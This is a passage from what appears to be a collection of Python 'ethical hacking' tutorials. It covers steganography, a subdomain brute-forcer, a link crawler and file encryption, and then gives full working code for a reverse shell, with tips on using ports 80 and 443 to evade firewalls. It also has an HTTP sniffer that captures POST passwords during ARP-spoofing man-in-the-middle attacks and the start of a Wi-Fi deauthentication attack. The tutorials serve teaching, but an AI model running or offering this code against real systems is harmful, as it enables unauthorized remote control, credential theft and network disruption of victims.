Note: You can always check the complete code here. Here we added five arguments to pass: or --text : If we want to encode text into an image, then this is the parameter we pass to do so. -f or --file : If we want to encode files instead of text, we pass this argument along with the file path. -e or --encode : The image we want to hide our data into. -d or --decode : The image we want to extract data from. -b or --n-bits : The number of least significant bits to use. If you have larger data, then make sure to increase this parameter. I do not suggest being higher than 4, as the image will look scandalous and too apparent that something is going wrong with the image. -t

Running the Code Let's run our code. Now I have the same image ( image.PNG ) as before:

Let's try to hide the data.csv file into it: $ python steganography_advanced.py -e image.PNG -f data.csv -b 1

We pass the image using the -e parameter, and the file we want to hide using the -f parameter. I also specified the number of least significant bits to be one. Unfortunately, see the output: [*] Maximum bytes to encode: 125028 [*] Data size: 370758 Traceback (most recent call last): File "E:\repos\pythoncode-tutorials\ethicalhacking\steganography\steganography_advanced.py", line 135, in

encoded_image = encode(image_name=input_image, secret_data=secret_data, n_bits=args.n_bits) File "E:\repos\pythoncode-tutorials\ethicalhacking\steganography\steganography_advanced.py", line 27, in encode raise ValueError(f"[!] Insufficient bytes ({len(secret_data)}), need bigger

image or less data.") ValueError: [!] Insufficient bytes (370758), need bigger image or less data.

This error is totally expected since using only one bit on each pixel value won't be sufficient to hide the entire 363KB file. Therefore, let's increase the number of bits ( -b parameter): $ python steganography_advanced.py -e image.PNG -f data.csv -b 2 [*] Maximum bytes to encode: 250057 [*] Data size: 370758 Traceback (most recent call last): File "E:\repos\pythoncode-tutorials\ethicalhacking\steganography\steganography_advanced.py", line 135, in

encoded_image = encode(image_name=input_image, secret_data=secret_data, n_bits=args.n_bits) File "E:\repos\pythoncode-tutorials\ethicalhacking\steganography\steganography_advanced.py", line 27, in encode raise ValueError(f"[!] Insufficient bytes ({len(secret_data)}), need bigger image or less data.") ValueError: [!] Insufficient bytes (370758), need bigger image or less data.

Two bits is still not enough. The maximum bytes to encode is 250KB, and we need around 370KB. Increasing to 3: $ python steganography_advanced.py -e image.PNG -f data.csv -b 3 [*] Maximum bytes to encode: 375086 [*] Data size: 370758

[*] Encoding data... [+] Saved encoded image.

You'll see now the data.csv is successfully encoded into a new image_encoded.PNG and it appeared in the current directory:

Let's extract the data from the

image_encoded.PNG

now:

$ python steganography_advanced.py -d image_encoded.PNG -f data_decoded.csv -b 3 [+] Decoding... [+] File decoded, data_decoded.csv is saved successfully.

Amazing! This time I have passed the encoded image to the -d parameter. I have also passed data_decoded.csv to -f for the resulting filename to write. Let's recheck our directory:

As you can see, the new file appeared identical to the original. Note that you must set the same -b parameter when encoding and decoding. I emphasize that you only increase the -b parameter when necessary (i.e., when the data is big). I have tried to hide a larger file (over 700KB) into the same image, and the minimum allowed least significant bit was 6. Here's what the resulting encoded image looks like:

So there is clearly something wrong with the image, as the pixel values change in the range of -64 and +64, so that's a lot.

Conclusion

Awesome! You just learned how you can implement Steganography in Python on your own! As you may notice, the resulting image will look exactly the same as the original image only when the number of least significant bits ( -b parameter) is low such as one or two. So whenever a person sees the image, they won't be able to detect whether there is hidden data within it. If the data you want to hide is big, then make sure you take a high-resolution image instead of increasing the -b parameter to a higher number than 4 because it will be so evident that there is something wrong with the picture. Also, if you're familiar with Linux commands, you can also perform Steganography using standard Linux commands. Here are some ideas and challenges you can do: Encrypting the data before encoding it in the image (this is often used in Steganography). Experiment with different images and data formats. Encode a massive amount of data in videos instead of images (you can do this with OpenCV as videos are just sequences of photos).

PROJECT 18: Make a Subdomain Scanner in Python Learning how to build a Python script to scan for subdomains of a given domain using requests library.

Finding subdomains of a particular website let you explore the full domain infrastructure of it. Building such a tool is really handy when it comes to information gathering phase in penetration testing for ethical hackers. Searching for subdomains manually would take forever. Luckily, we don't

have to do that, in this tutorial, we will build a subdomain scanner in Python using requests library. Let's get started! Let's install it: pip3 install requests

The method we gonna use here is brute-forcing, in other words, we gonna test all common subdomain names of that particular domain, whenever we receive a response from the server, that's an indicator for us that the subdomain is alive. Open up a new Python file and follow along, let's use google.com for demonstration purposes, I used it because google has a lot of subdomains though: import requests # the domain to scan for subdomains domain = "google.com"

Now we gonna need a big list of subdomains to scan, I've used a list of 100 subdomains just for demonstration, but in the real world, if you really want to discover all subdomains, you gotta use a bigger list, check this github repository which contains up to 10K subdomains. I have a file "subdomains.txt" in the current directory, make sure you do too (grab your list of your choice in this repository): # read all subdomains file = open("subdomains.txt") # read all content content = file.read()

# split by new lines subdomains = content.splitlines()

Now

subdomains

list contains the subdomains we want to test, let's brute-force:

# a list of discovered subdomains discovered_subdomains = [] for subdomain in subdomains: # construct the url url = f"http://{subdomain}.{domain}" try: # if this raises an ERROR, that means the subdomain does not exist requests.get(url) except requests.ConnectionError: # if the subdomain does not exist, just pass, print nothing pass else: print("[+] Discovered subdomain:", url) # append the discovered subdomain to our list discovered_subdomains.append(url)

First, we build up the URL to be suitable for sending a request, then we use requests.get() function to get the HTTP response from the server, this will raise a ConnectionError exception whenever a server does not respond, that's why we wrapped it in a try/except block. When the exception wasn't raised, then the subdomain exists. Let's write all the discovered subdomains to a file: # save the discovered subdomains into a file

with open("discovered_subdomains.txt", "w") as f: for subdomain in discovered_subdomains: print(subdomain, file=f)

Here is a part of the result when I ran the script:

Once it's finished, you'll see a new file discovered_subdomains.txt appears, which includes all the discovered subdomains! You'll notice when you run the script that's quite slow, especially when you use longer lists, as it's using a single thread to scan. However, if you want to accelerate the scanning process, you can use multiple threads for scanning, I've already wrote one, check it here. Alright, we are done, now you know how to discover subdomains of any website you want!

PROJECT 19: Extract All Website Links in Python

Building a crawler to extract all website internal and external links using requests, requests_html and beautiful soup in Python.

Extracting all links of a web page is a common task among web scrapers. It is useful to build advanced scrapers that crawl every page of a certain website to extract data. It can also be used for the SEO diagnostics process or even the information gathering phase for penetration testers. In this tutorial, you will learn how to build a link extractor tool in Python from Scratch using only requests and BeautifulSoup libraries. Note that there are a lot of link extractors out there, such as Link Extractor by Sitechecker. The goal of this tutorial is to build one on your own using Python programming language. Let's install the dependencies: pip3 install requests bs4 colorama

We'll be using requests to make HTTP requests conveniently, BeautifulSoup for parsing HTML, and colorama for changing text color. Open up a new Python file and follow along. Let's import the modules we need: import requests from urllib.parse import urlparse, urljoin from bs4 import BeautifulSoup import colorama

We are going to use colorama just for using different colors when printing, to distinguish between internal and external links:

# init the colorama module colorama.init() GREEN = colorama.Fore.GREEN GRAY = colorama.Fore.LIGHTBLACK_EX RESET = colorama.Fore.RESET YELLOW = colorama.Fore.YELLOW

We gonna need two global variables, one for all internal links of the website and the other for all the external links: # initialize the set of links (unique links) internal_urls = set() external_urls = set() Internal links are URLs that link to other pages of the same website. External links are URLs that link to other websites. Since not all links in anchor tags (a tags) are valid (I've experimented with this), some are links to parts of the website, and some are javascript, so let's write a function to validate URLs: def is_valid(url): """ Checks whether `url` is a valid URL. """ parsed = urlparse(url) return bool(parsed.netloc) and bool(parsed.scheme)

This will ensure that a proper scheme (protocol, e.g http or https) and domain

name exist in the URL. Now let's build a function to return all the valid URLs of a web page: def get_all_website_links(url): """ Returns all URLs that is found on `url` in which it belongs to the same website """ # all URLs of `url` urls = set() # domain name of the URL without the protocol domain_name = urlparse(url).netloc soup = BeautifulSoup(requests.get(url).content, "html.parser")

First, I initialized the urls set variable; I've used Python sets here because we don't want redundant links. Second, I've extracted the domain name from the URL. We gonna need it to check whether the link we grabbed is external or internal. Third, I've downloaded the HTML content of the web page and wrapped it with a soup object to ease HTML parsing. Let's get all HTML a tags (anchor tags that contains all the links of the web page): for a_tag in soup.findAll("a"): href = a_tag.attrs.get("href") if href == "" or href is None: # href empty tag continue

So we get the href attribute and check if there is something there. Otherwise, we just continue to the next link. Since not all links are absolute, we gonna need to join relative URLs with their domain name (e.g when href is "/search" and url is "google.com", the result will be "google.com/search"): # join the URL if it's relative (not absolute link) href = urljoin(url, href)

Now we need to remove HTTP GET parameters from the URLs, since this will cause redundancy in the set, the below code handles that: parsed_href = urlparse(href) # remove URL GET parameters, URL fragments, etc. href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path

Let's finish up the function: if not is_valid(href): # not a valid URL continue if href in internal_urls: # already in the set continue if domain_name not in href: # external link if href not in external_urls:

print(f"{GRAY}[!] External link: {href}{RESET}") external_urls.add(href) continue print(f"{GREEN}[*] Internal link: {href}{RESET}") urls.add(href) internal_urls.add(href) return urls

All we did here is checking: If the URL isn't valid, continue to the next link. If the URL is already in the internal_urls, we don't need that either. If the URL is an external link, print it in gray color and add it to our global external_urls set and continue to the next link. Finally, after all checks, the URL will be an internal link, we print it and add it to our urls and internal_urls sets. The above function will only grab the links of one specific page, what if we want to extract all links of the entire website? Let's do this: # number of urls visited so far will be stored here total_urls_visited = 0 def crawl(url, max_urls=30): """ Crawls a web page and extracts all links. You'll find all links in `external_urls` and `internal_urls` global set variables. params: max_urls (int): number of max urls to crawl, default is 30.

""" global total_urls_visited total_urls_visited += 1 print(f"{YELLOW}[*] Crawling: {url}{RESET}") links = get_all_website_links(url) for link in links: if total_urls_visited > max_urls: break crawl(link, max_urls=max_urls)

This function crawls the website, which means it gets all the links of the first page and then calls itself recursively to follow all the links extracted previously. However, this can cause some issues; the program will get stuck on large websites (that got many links) such as google.com. As a result, I've added a max_urls parameter to exit when we reach a certain number of URLs checked. Alright, let's test this; make sure you use this on a website you're authorized to. Otherwise, I'm not responsible for any harm you cause. if __name__ == "__main__": crawl("https://www.bbc.com") print("[+] Total Internal links:", len(internal_urls)) print("[+] Total External links:", len(external_urls)) print("[+] Total URLs:", len(external_urls) + len(internal_urls)) print("[+] Total crawled URLs:", max_urls)

I'm testing on this website. However, I highly encourage you not to do that; that will cause a lot of requests and will crowd the web server, and may block your IP address.

Here is a part of the output:

After the crawling finishes, it'll print the total links extracted and crawled: [+] Total Internal links: 90 [+] Total External links: 137 [+] Total URLs: 227 [+] Total crawled URLs: 30

Awesome, right? I hope this tutorial was a benefit for you to inspire you to build such tools using Python. There are some websites that load most of their content using JavaScript. Therefore, we need to use the requests_html library instead, which enables us to execute Javascript using Chromium; I already wrote a script for that by adding just a few lines (as requests_html is quite similar to requests). Check it here. Requesting the same website many times in a short period may cause the website to block your IP address. In that case, you need to use a proxy server for such purposes. If you're interested in grabbing images instead, check this tutorial: How to Download All Images from a Web Page in Python, or if you want to extract HTML tables, check this tutorial.

I edited the code a little bit, so you can save the output URLs in a file and pass URLs from command line arguments. I highly suggest you check the complete code here.

Want to Learn More about Web Scraping? Finally, if you want to dig more into web scraping with different Python libraries, not just BeautifulSoup, the below courses will definitely be valuable for you: Modern Web Scraping with Python using Scrapy Splash Selenium. Web Scraping and API Fundamentals in Python.

PROJECT 20: Encrypt and Decrypt Files in Python Encrypting and decrypting files in Python using symmetric encryption scheme with cryptography library.

Encryption is the process of encoding a piece of information in such a way that only authorized parties can access it. It is critically important because it allows you to securely protect data that you don't want anyone to see or access. In this tutorial, you will learn how to use Python to encrypt files or any byte object (also string objects) using the cryptography library.

We will be using symmetric encryption, which means the same key we used to encrypt data, is also usable for decryption. There are a lot of encryption algorithms out there. The library we gonna use is built on top of the AES algorithm. Note: It is important to understand the difference between encryption and hashing algorithms. In encryption, you can retrieve the original data once you have the key, wherein hashing functions, you cannot; that's why they're called one-way encryption. Table of content: Generating the Key Text Encryption File Encryption File Encryption with Password RELATED: How to Extract and Decrypt Chrome Cookies in Python. Let's start off by installing

cryptography :

pip3 install cryptography

Open up a new Python file, and let's get started: from cryptography.fernet import Fernet

Generating the Key Fernet is an implementation of symmetric authenticated cryptography; let's start by generating that key and writing it to a file: def write_key(): """

Generates a key and save it into a file """ key = Fernet.generate_key() with open("key.key", "wb") as key_file: key_file.write(key)

The Fernet.generate_key() function generates a fresh fernet key, you really need to keep this in a safe place. If you lose the key, you will no longer be able to decrypt data that was encrypted with this key. Since this key is unique, we won't be generating the key each time we encrypt anything, so we need a function to load that key for us: def load_key(): """ Loads the key from the current directory named `key.key` """ return open("key.key", "rb").read()

Text Encryption Now that we know how to generate, save and load the key, let's start by encrypting string objects, just to make you familiar with it first. Generating and writing the key to a file: # generate and write a new key write_key()

Let's load that key:

# load the previously generated key key = load_key()

Some message: message = "some secret message".encode()

Since strings have the type of str in Python, we need to encode them and convert them to bytes to be suitable for encryption, the encode() method encodes that string using the utf-8 codec. Initializing the Fernet class with that key: # initialize the Fernet class f = Fernet(key)

Encrypting the message: # encrypt the message encrypted = f.encrypt(message)

method encrypts the data passed. The result of this encryption is known as a "Fernet token" and has strong privacy and authenticity guarantees. f.encrypt()

Let's see how it looks: # print how it looks print(encrypted)

Output:

b'gAAAAABdjSdoqn4kx6XMw_fMx5YT2eaeBBCEue3N2FWHhlXjD6JXJyeELfPrKf0c c-0o-KVqcYxqWAIG-LVVI_1U='

Decrypting that: decrypted_encrypted = f.decrypt(encrypted) print(decrypted_encrypted) b'some secret message'

That's indeed, the same message. method decrypts a Fernet token. This will return the original plaintext as the result when it's successfully decrypted, otherwise, it'll raise an exception. f.decrypt()

Learn also: How to Encrypt and Decrypt PDF Files in Python.

File Encryption Now you know how to basically encrypt strings, let's dive into file encryption; we need a function to encrypt a file given the name of the file and key: def encrypt(filename, key): """ Given a filename (str) and key (bytes), it encrypts the file and write it """ f = Fernet(key)

After initializing the Fernet object with the given key, let's read the target file first: with open(filename, "rb") as file: # read all file data file_data = file.read()

file_data

contains the data of the file, encrypting it:

# encrypt data encrypted_data = f.encrypt(file_data)

Writing the encrypted file with the same name, so it will override the original (don't use this on sensitive information yet, just test on some junk data): # write the encrypted file with open(filename, "wb") as file: file.write(encrypted_data)

Okay, that's done. Going to the decryption function now, it is the same process, except we will use the decrypt() function instead of encrypt() on the Fernet object: def decrypt(filename, key): """ Given a filename (str) and key (bytes), it decrypts the file and write it """ f = Fernet(key)

with open(filename, "rb") as file: # read the encrypted data encrypted_data = file.read() # decrypt data decrypted_data = f.decrypt(encrypted_data) # write the original file with open(filename, "wb") as file: file.write(decrypted_data)

Let's test this. I have a data.csv file and a key in the current directory, as shown in the following figure:

It is a completely readable file. To encrypt it, all we need to do is call the function we just wrote: # uncomment this if it's the first time you run the code, to generate the key # write_key() # load the key key = load_key() # file name file = "data.csv" # encrypt it encrypt(file, key)

Once you execute this, you may see the file increased in size, and it's

unreadable; you can't even read a single word! To get the file back into the original form, just call the decrypt() function: # decrypt the file decrypt(file, key)

That's it! You'll see the original file appears in place of the encrypted previously.

File Encryption with Password Instead of randomly generating a key, what if we can generate the key from a password? Well, to be able to do that, we can use algorithms that are for this purpose. One of these algorithms is Scrypt. It is a password-based key derivation function that was created in 2009 by Colin Percival, we will be using it to generate keys from a password. If you want to follow along, create a new Python file and import the following: import cryptography from cryptography.fernet import Fernet from cryptography.hazmat.primitives.kdf.scrypt import Scrypt import secrets import base64 import getpass

First, key derivation functions need random bits added to the password before

it's hashed; these bits are called the salt, which helps strengthen security and protect against dictionary and brute-force attacks. Let's make a function to generate that using the secrets module: def generate_salt(size=16): """Generate the salt used for key derivation, `size` is the length of the salt to generate""" return secrets.token_bytes(size)

We have a tutorial on generating random data. Make sure to check it out if you're unsure about the above cell. Next, let's make a function to derive the key from the password and the salt: def derive_key(salt, password): """Derive the key from the `password` using the passed `salt`""" kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) return kdf.derive(password.encode())

We initialize the Scrypt algorithm by passing: The salt . The desired length of the key (32 in this case). n : CPU/Memory cost parameter, must be larger than 1 and be a power of 2. r : Block size parameter. p : Parallelization parameter. As mentioned in the documentation, n , r , and p can adjust the computational and memory cost of the Scrypt algorithm. RFC 7914 recommends values of r=8 , p=1 , where the original Scrypt paper suggests that n should have a minimum value of 2**14 for interactive logins or 2**20 for more sensitive

files; you can check the documentation for more information. Next, we make a function to load a previously generated salt: def load_salt(): # load salt from salt.salt file return open("salt.salt", "rb").read()

Now that we have the salt generation and key derivation functions, let's make the core function that generates the key from a password: def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True): """ Generates a key from a `password` and the salt. If `load_existing_salt` is True, it'll load the salt from a file in the current directory called "salt.salt". If `save_salt` is True, then it will generate a new salt and save it to "salt.salt" """ if load_existing_salt: # load existing salt salt = load_salt() elif save_salt: # generate new salt and save it salt = generate_salt(salt_size) with open("salt.salt", "wb") as salt_file: salt_file.write(salt) # generate the key from the salt and the password derived_key = derive_key(salt, password) # encode it using Base 64 and return it

return base64.urlsafe_b64encode(derived_key)

The above function accepts the following arguments: password :

The password string to generate the key from. salt_size : An integer indicating the size of the salt to generate. load_existing_salt : A boolean indicating whether we load a previously generated salt. save_salt : A boolean to indicate whether we save the generated salt. After we load or generate a new salt, we derive the key from the password using our derive_key() function, and finally, return the key as a Base64-encoded text. Now we can use the same

encrypt()

function we defined earlier:

def encrypt(filename, key): """ Given a filename (str) and key (bytes), it encrypts the file and write it """ f = Fernet(key) with open(filename, "rb") as file: # read all file data file_data = file.read() # encrypt data encrypted_data = f.encrypt(file_data) # write the encrypted file with open(filename, "wb") as file: file.write(encrypted_data)

For the decrypt() function, we add a simple try-except block to handle the exception when the password is wrong: def decrypt(filename, key): """ Given a filename (str) and key (bytes), it decrypts the file and write it """ f = Fernet(key) with open(filename, "rb") as file: # read the encrypted data encrypted_data = file.read() # decrypt data try: decrypted_data = f.decrypt(encrypted_data) except cryptography.fernet.InvalidToken: print("Invalid token, most likely the password is incorrect") return # write the original file with open(filename, "wb") as file: file.write(decrypted_data) print("File decrypted successfully")

Awesome! Let's use line:

argparse

so we can pass arguments from the command

if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="File Encryptor Script with a Password") parser.add_argument("file", help="File to encrypt/decrypt")

parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated", type=int) parser.add_argument("-e", "--encrypt", action="store_true", help="Whether to encrypt the file, only -e or -d can be specified.") parser.add_argument("-d", "--decrypt", action="store_true", help="Whether to decrypt the file, only -e or -d can be specified.") args = parser.parse_args() file = args.file if args.encrypt: password = getpass.getpass("Enter the password for encryption: ") elif args.decrypt: password = getpass.getpass("Enter the password you used for encryption: ") if args.salt_size: key = generate_key(password, salt_size=args.salt_size, save_salt=True) else: key = generate_key(password, load_existing_salt=True) encrypt_ = args.encrypt decrypt_ = args.decrypt if encrypt_ and decrypt_: raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") elif encrypt_:

encrypt(file, key) elif decrypt_: decrypt(file, key) else: raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")

Let's test our script by encrypting data.csv as previously: $ python crypt_password.py data.csv --encrypt --salt-size 16 Enter the password for encryption:

You'll be prompted to enter a password, get_pass() hides the characters you type, so it's more secure. You'll also notice that the salt.salt file is generated. If you open the target data.csv file, you'll see it's encrypted. Now let's try to decrypt it with the wrong password: $ python crypt_password.py data.csv --decrypt Enter the password you used for encryption: Invalid token, most likely the password is incorrect

The data.csv remains as is. Let's pass the correct password that was used in the encryption: $ python crypt_password.py data.csv --decrypt Enter the password you used for encryption: File decrypted successfully

Amazing! You'll see that the

data.csv

returned to its original form.

Note that if you generate another salt (by passing -s or --salt-size ) while decrypting, even if it's the correct password, you won't be able to recover the file as a new salt will be generated that overrides the previous one, so make sure to not pass -s or --salt-size when decrypting.

Conclusion Check cryptography's official documentation for further details and instructions. Note that you need to beware of large files, as the file will need to be completely on memory to be suitable for encryption. You need to consider using some methods of splitting the data or file compression for large files! Here is the full code for both techniques used in this tutorial. Also, if you're interested in cryptography, I would personally suggest you take the Cryptography I course on Coursera, as it is detailed and very suitable for you as a programmer.

PROJECT 21: Shell in Python

Create a Reverse

Building a reverse shell in Python using sockets that can execute remote shell commands and send the results back to the server.

Introduction There are many ways to gain control over a compromised system. A common

practice is to gain interactive shell access, which enables you to try to gain complete control of the operating system. However, most basic firewalls block direct remote connections. One of the methods to bypass this is to use reverse shells. A reverse shell is a program that executes local cmd.exe (for Windows) or bash/zsh (for Unix-like) commands and sends the output to a remote machine. With a reverse shell, the target machine initiates the connection to the attacker machine, and the attacker's machine listens for incoming connections on a specified port; this will bypass firewalls. The basic idea of the code we will implement is that the attacker's machine will keep listening for connections. Once a client (or target machine) connects, the server will send shell commands to the target machine and expect output results. Related: How to Use Hash Algorithms in Python using hashlib.

Server Side First, let's start with the server (attacker's code): import socket SERVER_HOST = "0.0.0.0" SERVER_PORT = 5003 BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase # separator string for sending 2 messages in one go SEPARATOR = "" # create a socket object s = socket.socket()

Notice that I've used 0.0.0.0 as the server IP address, this means all IPv4 addresses on the local machine. You may wonder why we don't just use our local IP address or localhost or 127.0.0.1 ? Well, if the server has two IP addresses, let's say 192.168.1.101 on a network, and 10.0.1.1 on another, and the server listens on 0.0.0.0 , then it will be reachable at both of those IPs. We then specified some variables and initiated the TCP socket. Notice I used 5003 as the TCP port, feel free to choose any port above 1024; just make sure it's not used, and you should use it on both sides (i.e., server and client). However, malicious reverse shells usually use the popular port 80 (i.e HTTP ) or 443 (i.e HTTPS ), this will allow it to bypass firewall restrictions of the target client, feel free to change it and try it out! Now let's bind that socket we just created to our IP address and port: # bind the socket to all IP addresses of this host s.bind((SERVER_HOST, SERVER_PORT))

Listening for connections: s.listen(5) print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

If any client attempts to connect to the server, we need to accept it: # accept any connections attempted client_socket, client_address = s.accept() print(f"{client_address[0]}:{client_address[1]} Connected!")

accept() function waits for an incoming connection and returns a new socket representing the connection (client_socket), and the address (IP and port) of

the client. Now below code will be executed only if a user is connected to the server; let us receive a message from the client that contains the current working directory of the client: # receiving the current working directory of the client cwd = client_socket.recv(BUFFER_SIZE).decode() print("[+] Current working directory:", cwd)

Note that we need to encode the message to bytes before sending, and we must send the message using the client_socket and not the server socket. Now let's start our main loop, which is sending shell commands and retrieving the results, and printing them: while True: # get the command from prompt command = input(f"{cwd} $> ") if not command.strip(): # empty command continue # send the command to the client client_socket.send(command.encode()) if command.lower() == "exit": # if the command is exit, just break out of the loop break # retrieve command results output = client_socket.recv(BUFFER_SIZE).decode() # split command output and current directory results, cwd = output.split(SEPARATOR)

# print output print(results)

In the above code, we're prompting the server user (i.e., attacker) of the command he wants to execute on the client; we send that command to the client and expect the command's output to print it to the console. Note that we're splitting the output into command results and the current working directory. That's because the client will be sending both of these messages in a single send operation. If the command is "exit", just exit out of the loop and close the connections.

Client Side Let's see the code of the client now, open up a new file and write: import socket import os import subprocess import sys SERVER_HOST = sys.argv[1] SERVER_PORT = 5003 BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase # separator string for sending 2 messages in one go SEPARATOR = ""

Above, we're setting the SERVER_HOST to be passed from the command line arguments, this is the IP or host of the server machine. If you're on a local

network, then you should know the private IP of the server by using the command ipconfig on Windows and ifconfig on Linux. Note that if you're testing both codes on the same machine, you can set the SERVER_HOST to 127.0.0.1 and it will work just fine. Let's create the socket and connect to the server: # create the socket object s = socket.socket() # connect to the server s.connect((SERVER_HOST, SERVER_PORT))

Remember, the server expects the current working directory of the client just after connection. Let's send it then: # get the current directory cwd = os.getcwd() s.send(cwd.encode())

We used the getcwd() function from os module, this function returns the current working directory. For instance, if you execute this code in the Desktop, it'll return the absolute path of the Desktop. Going to the main loop, we first receive the command from the server, execute it and send the result back. Here is the code for that: while True: # receive the command from the server command = s.recv(BUFFER_SIZE).decode() splited_command = command.split() if command.lower() == "exit":

# if the command is exit, just break out of the loop break if splited_command[0].lower() == "cd": # cd command, change directory try: os.chdir(' '.join(splited_command[1:])) except FileNotFoundError as e: # if there is an error, set as the output output = str(e) else: # if operation is successful, empty message output = "" else: # execute the command and retrieve the results output = subprocess.getoutput(command) # get the current working directory as output cwd = os.getcwd() # send the results back to the server message = f"{output}{SEPARATOR}{cwd}" s.send(message.encode()) # close client connection s.close()

First, we receive the command from the server using recv() method on the socket object, we then check if it's a cd command, if that's the case, then we use the os.chdir() function to change the directory, that's because subprocess.getoutput() spawns its own process and does not change the directory on the current Python process. After that, if it's not a cd command, then we simply

use

subprocess.getoutput()

function to get the output of the command executed.

Finally, we prepare our message that contains the command output and working directory and then send it.

Results Okay, we're done writing the code for both sides. Let's run them. First, you need to run the server to listen on that port and then run the client after that. Below is a screenshot of when I started the server and instantiated a new client connection, and then ran a demo dir command:

And this was my run command on the client-side:

Incredible, isn't it? You can execute any shell command available in that operating system. Note that I used 127.0.0.1 to run both sides on the same machine, but you can do it remotely on a local network or the Internet.

Conclusion Here are some ideas to extend that code: Use the built-in threading module to enable the server to accept multiple client connections at the same time. Add a custom command that gets system and hardware information using psutil third-party module. Check this tutorial: How to Get Hardware and System Information in Python. Add download and upload commands to download and upload files from/to the client. Check this out: How to Transfer Files in the Network using Sockets in Python. Make a custom command to record the client's screen and then download the recorded video. This tutorial can help: How to Make a Screen Recorder in Python. Add another command to record the client's audio on their default microphone. Check this tutorial. And many more! There are endless possibilities. The only limit here is your imagination! Also, there is a utility in Linux called netcat in which you can build reverse shells. Check this tutorial which helps you set up reverse shells in Linux. To conclude, a reverse shell isn't generally meant to be a malicious code. We can use it for legitimate purposes; for example, you can use this to manage your machines remotely.

PROJECT 22: Sniff HTTP Packets in the Network using Scapy in Python Sniffing and printing HTTP packet information, such as the url and raw data ( passwords, search queries, etc. ) in case the method is POST.

Monitoring the network always seems to be a useful task for network security engineers, as it enables them to see what is happening in the network, see and control malicious traffic, etc. In this tutorial, you will see how you can sniff HTTP packets in the network using Scapy in Python. There are other tools to capture traffic such as tcpdump or Wireshark, but in this guide, we'll use the Scapy library in Python to sniff packets. The basic idea behind the recipe we will see in this tutorial, is that we keep sniffing packets, once an HTTP request is captured, we extract some information from the packet and print them out, easy enough? let's get started. In Scapy 2.4.3+, HTTP packets are supported by default. Let's install the requirements for this tutorial: pip3 install scapy colorama

If you have problems installing Scapy, check these tutorials: How to Install Scapy on Windows How to Install Scapy on Ubuntu We need colorama here just for changing text color in the terminal. Let's import the necessary modules:

from scapy.all import * from scapy.layers.http import HTTPRequest # import HTTP packet from colorama import init, Fore # initialize colorama init() # define colors GREEN = Fore.GREEN RED = Fore.RED RESET = Fore.RESET

Let's define the function that handles sniffing: def sniff_packets(iface=None): """ Sniff 80 port packets with `iface`, if None (default), then the Scapy's default interface is used """ if iface: # port 80 for http (generally) # `process_packet` is the callback sniff(filter="port 80", prn=process_packet, iface=iface, store=False) else: # sniff with default interface sniff(filter="port 80", prn=process_packet, store=False)

As you may notice, we specified port 80 here, that is because HTTP's standard port is 80, so we're already filtering out packets that we don't need. We passed the process_packet() function to sniff() function as the callback

that is called whenever a packet is sniffed, it takes packet as an argument, let's implement it: def process_packet(packet): """ This function is executed whenever a packet is sniffed """ if packet.haslayer(HTTPRequest): # if this packet is an HTTP Request # get the requested URL url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode() # get the requester's IP Address ip = packet[IP].src # get the request method method = packet[HTTPRequest].Method.decode() print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}") if show_raw and packet.haslayer(Raw) and method == "POST": # if show_raw flag is enabled, has raw data, and the requested method is "POST" # then show raw print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load} {RESET}")

We are extracting the requested URL, the requester's IP, and the request method here, but don't be limited to that, try to print the whole HTTP request packet using packet.show() method, you'll see a tremendous amount of information you can extract there. Don't worry about the show_raw variable, it is just a global flag that indicates whether we print POST raw data, such as passwords, search queries, etc. We're going to pass it in the script's arguments.

Now let's implement the main code: if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \ + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets") parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface") parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.") # parse arguments args = parser.parse_args() iface = args.iface show_raw = args.show_raw sniff_packets(iface)

We've used the argparse module to parse arguments from the command line or terminal, let's run the script now (I've named it http_filter.py): root@rockikz:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw

Here is the output after browsing HTTP websites in my local machine:

You may wonder now what is the benefit of sniffing HTTP packets on my local computer. Well, you can sniff packets all over the network or a specific host when you are a man-in-the-middle. To do that, you need to arp spoof the target using this script, here is how you use it:

At this moment, we are spoofing "192.168.1.100" saying that we are the router, so any packet that goes to or come out of that target machine will flow to us first, then to the router. For more information, check this tutorial. Now let's try to run the http_filter.py script again: root@rockikz:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw

After browsing the internet in "192.168.1.100" (which is my Windows machine), I got this output (in my attacking machine): [+] 192.168.1.100 Requested google.com/ with GET [+] 192.168.1.100 Requested www.google.com/ with GET

[+] 192.168.1.100 Requested www.bbc.com/ with GET [+] 192.168.1.100 Requested www.bbc.com/contact with GET

Pretty cool, right? Note that you can also extend that using sslstrip to be able to sniff HTTPS requests also! DISCLAIMER: Use this on a network you have permission to, the author isn't responsible for any damage you cause to a network you don't have permission to. Alright, so this was a quick demonstration of how you can sniff packets in the network, this is an example though, you can change the code whatever you like, experiment with it! Also, there is a possibility to modify these packets and inject Javascript into HTTP responses, check this tutorial for that.

PROJECT 23: Disconnect Devices from Wi-Fi using Scapy in Python Forcing devices to disconnect from a network by sending deauthentication frames continuously using Scapy library in Python, this is called deauthentication attack.

In this tutorial, we will see how we can kick out devices from a particular network that you actually don't belong to in Python using Scapy, this can be done by sending deauthentication frames in the air using a network device

that is in monitor mode. An attacker can send deauthentication frames at any time to a wireless access point with a spoofed MAC address of the victim, causing the access point to deauthenticate with that user. As you may guess, the protocol does not require any encryption for this frame, the attacker only needs to know the victim's MAC address, which is easy to capture using utilities like airodumpng. Let's import Scapy (You need to install it first, head to this tutorial or the official Scapy documentation for installation): from scapy.all import *

